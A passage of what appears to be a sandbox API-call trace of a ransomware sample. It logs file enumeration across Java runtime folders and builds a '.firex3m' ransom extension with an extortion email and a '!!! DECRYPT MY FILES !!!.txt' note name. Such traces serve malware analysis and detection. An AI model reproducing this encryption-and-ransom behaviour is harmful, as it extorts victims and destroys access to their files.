lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0119.085] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0119.085] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0119.085] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0119.086] GetProcessHeap () returned 0x630000 [0119.086] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x695400, Size=0x148) returned 0x695400 [0119.086] FindNextFileW (in: hFindFile=0x6d5500, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xbd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="US_export_policy.jar", cAlternateFileName="US_EXP~1.JAR")) returned 1 [0119.086] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\java\\jre1.8.0_144\\lib\\security\\trusted.libraries", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar", len=0x44 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar") returned 1 [0119.086] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\US_export_policy.jar", cchLength=0x44 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\security\\us_export_policy.jar") returned 0x44 [0119.086] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0119.086] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0119.086] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0119.086] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0119.086] GetProcessHeap () returned 0x630000 [0119.086] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x695400, Size=0x14c) returned 0x695400 [0119.086] FindNextFileW (in: hFindFile=0x6d5500, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0119.086] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0119.087] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="sound.properties", cAlternateFileName="SOUND~1.PRO")) returned 1 [0119.087] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\lib\\rt.jar", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties", len=0x37 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 1 [0119.087] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties", cchLength=0x37 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties") returned 0x37 [0119.087] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0119.087] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0119.087] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0119.087] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0119.087] GetProcessHeap () returned 0x630000 [0119.087] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x695400, Size=0x150) returned 0x695400 [0119.087] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x19c1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="tzdb.dat", cAlternateFileName="")) returned 1 [0119.088] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat", len=0x2f | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 1 [0119.088] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat", cchLength=0x2f | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat") returned 0x2f [0119.088] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0119.088] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0119.088] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0119.088] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0119.088] GetProcessHeap () returned 0x630000 [0119.088] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x695400, Size=0x154) returned 0x695400 [0119.088] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x20d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tzmappings", cAlternateFileName="TZMAPP~1")) returned 1 [0119.088] SysReAllocStringLen (in: pbstr=0x6ebee08*="c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat", psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings", len=0x31 | out: pbstr=0x6ebee08*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 1 [0119.088] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings", cchLength=0x31 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings") returned 0x31 [0119.088] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0119.088] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0119.088] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0119.089] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0119.089] GetProcessHeap () returned 0x630000 [0119.089] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x695400, Size=0x158) returned 0x695400 [0119.089] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0119.089] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0119.089] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x28, dwReserved0=0x0, dwReserved1=0x0, cFileName="LICENSE", cAlternateFileName="")) returned 1 [0119.089] SysReAllocStringLen (in: pbstr=0x6ebf0d0*="c:\\program files\\java\\jre1.8.0_144\\copyright", psz="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE", len=0x2a | out: pbstr=0x6ebf0d0*="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 1 [0119.089] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE", cchLength=0x2a | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\license") returned 0x2a [0119.089] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0119.089] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0119.090] SysReAllocStringLen (in: pbstr=0x6ebf070*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf070*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0119.090] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0119.090] GetProcessHeap () returned 0x630000 [0119.090] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x695400, Size=0x15c) returned 0x69a1f0 [0119.090] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="README.txt", cAlternateFileName="")) returned 1 [0119.090] SysReAllocStringLen (in: pbstr=0x6ebf0d0*="c:\\program files\\java\\jre1.8.0_144\\license", psz="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt", len=0x2d | out: pbstr=0x6ebf0d0*="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt") returned 1 [0119.090] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\README.txt", cchLength=0x2d | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\readme.txt") returned 0x2d [0119.090] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0119.090] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0119.090] SysReAllocStringLen (in: pbstr=0x6ebf070*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf070*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0119.090] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0119.090] GetProcessHeap () returned 0x630000 [0119.090] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x69a1f0, Size=0x160) returned 0x69a1f0 [0119.091] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c9d0cc, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c9d0cc, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c9d0cc, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x210, dwReserved0=0x0, dwReserved1=0x0, cFileName="release", cAlternateFileName="")) returned 1 [0119.091] SysReAllocStringLen (in: pbstr=0x6ebf0d0*="c:\\program files\\java\\jre1.8.0_144\\readme.txt", psz="C:\\Program Files\\Java\\jre1.8.0_144\\release", len=0x2a | out: pbstr=0x6ebf0d0*="C:\\Program Files\\Java\\jre1.8.0_144\\release") returned 1 [0119.091] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\release", cchLength=0x2a | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\release") returned 0x2a [0119.091] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0119.091] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0119.091] SysReAllocStringLen (in: pbstr=0x6ebf070*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf070*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0119.091] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0119.091] GetProcessHeap () returned 0x630000 [0119.091] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x69a1f0, Size=0x164) returned 0x69a1f0 [0119.091] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xf9bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="THIRDPARTYLICENSEREADME-JAVAFX.txt", cAlternateFileName="THIRDP~1.TXT")) returned 1 [0119.091] SysReAllocStringLen (in: pbstr=0x6ebf0d0*="c:\\program files\\java\\jre1.8.0_144\\release", psz="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt", len=0x45 | out: pbstr=0x6ebf0d0*="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt") returned 1 [0119.091] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME-JAVAFX.txt", cchLength=0x45 | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt") returned 0x45 [0119.139] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0119.139] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0119.139] SysReAllocStringLen (in: pbstr=0x6ebf070*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf070*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0119.139] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0119.139] GetProcessHeap () returned 0x630000 [0119.139] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x69a1f0, Size=0x168) returned 0x69a1f0 [0119.139] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x2371c, dwReserved0=0x0, dwReserved1=0x0, cFileName="THIRDPARTYLICENSEREADME.txt", cAlternateFileName="THIRDP~2.TXT")) returned 1 [0119.139] SysReAllocStringLen (in: pbstr=0x6ebf0d0*="c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme-javafx.txt", psz="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt", len=0x3e | out: pbstr=0x6ebf0d0*="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt") returned 1 [0119.139] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\THIRDPARTYLICENSEREADME.txt", cchLength=0x3e | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt") returned 0x3e [0119.139] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0119.139] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0119.140] SysReAllocStringLen (in: pbstr=0x6ebf070*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf070*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0119.140] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0119.140] GetProcessHeap () returned 0x630000 [0119.140] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x69a1f0, Size=0x16c) returned 0x66a3e0 [0119.140] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x3bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Welcome.html", cAlternateFileName="WELCOM~1.HTM")) returned 1 [0119.140] SysReAllocStringLen (in: pbstr=0x6ebf0d0*="c:\\program files\\java\\jre1.8.0_144\\thirdpartylicensereadme.txt", psz="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html", len=0x2f | out: pbstr=0x6ebf0d0*="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html") returned 1 [0119.140] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\jre1.8.0_144\\Welcome.html", cchLength=0x2f | out: lpsz="c:\\program files\\java\\jre1.8.0_144\\welcome.html") returned 0x2f [0119.140] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0119.140] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe040, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0119.140] SysReAllocStringLen (in: pbstr=0x6ebf070*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf070*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0119.140] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0119.140] GetProcessHeap () returned 0x630000 [0119.140] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x170) returned 0x66a3e0 [0119.140] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0119.141] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0119.141] FindNextFileW (in: hFindFile=0x6d53c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2e932c0, ftCreationTime.dwHighDateTime=0x1d57f56, ftLastAccessTime.dwLowDateTime=0xe51717a0, ftLastAccessTime.dwHighDateTime=0x1d5b302, ftLastWriteTime.dwLowDateTime=0xe51717a0, ftLastWriteTime.dwHighDateTime=0x1d5b302, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="trillian.exe", cAlternateFileName="")) returned 1 [0119.141] SysReAllocStringLen (in: pbstr=0x6ebf398*="c:\\program files\\java\\classessurveylexmark.exe", psz="C:\\Program Files\\Java\\trillian.exe", len=0x22 | out: pbstr=0x6ebf398*="C:\\Program Files\\Java\\trillian.exe") returned 1 [0119.141] CharLowerBuffW (in: lpsz="C:\\Program Files\\Java\\trillian.exe", cchLength=0x22 | out: lpsz="c:\\program files\\java\\trillian.exe") returned 0x22 [0119.141] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0119.141] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe308, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0119.141] SysReAllocStringLen (in: pbstr=0x6ebf338*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf338*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0119.141] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0119.142] GetProcessHeap () returned 0x630000 [0119.142] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x174) returned 0x66a3e0 [0119.142] FindNextFileW (in: hFindFile=0x6d53c0, lpFindFileData=0x6ebf3a4 | out: lpFindFileData=0x6ebf3a4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0119.142] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0119.142] FindNextFileW (in: hFindFile=0x6d5080, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3bf0ff2f, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x3bf0ff2f, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="MICROS~2")) returned 1 [0119.142] SysReAllocStringLen (in: pbstr=0x6ebf3a0*=0x0, 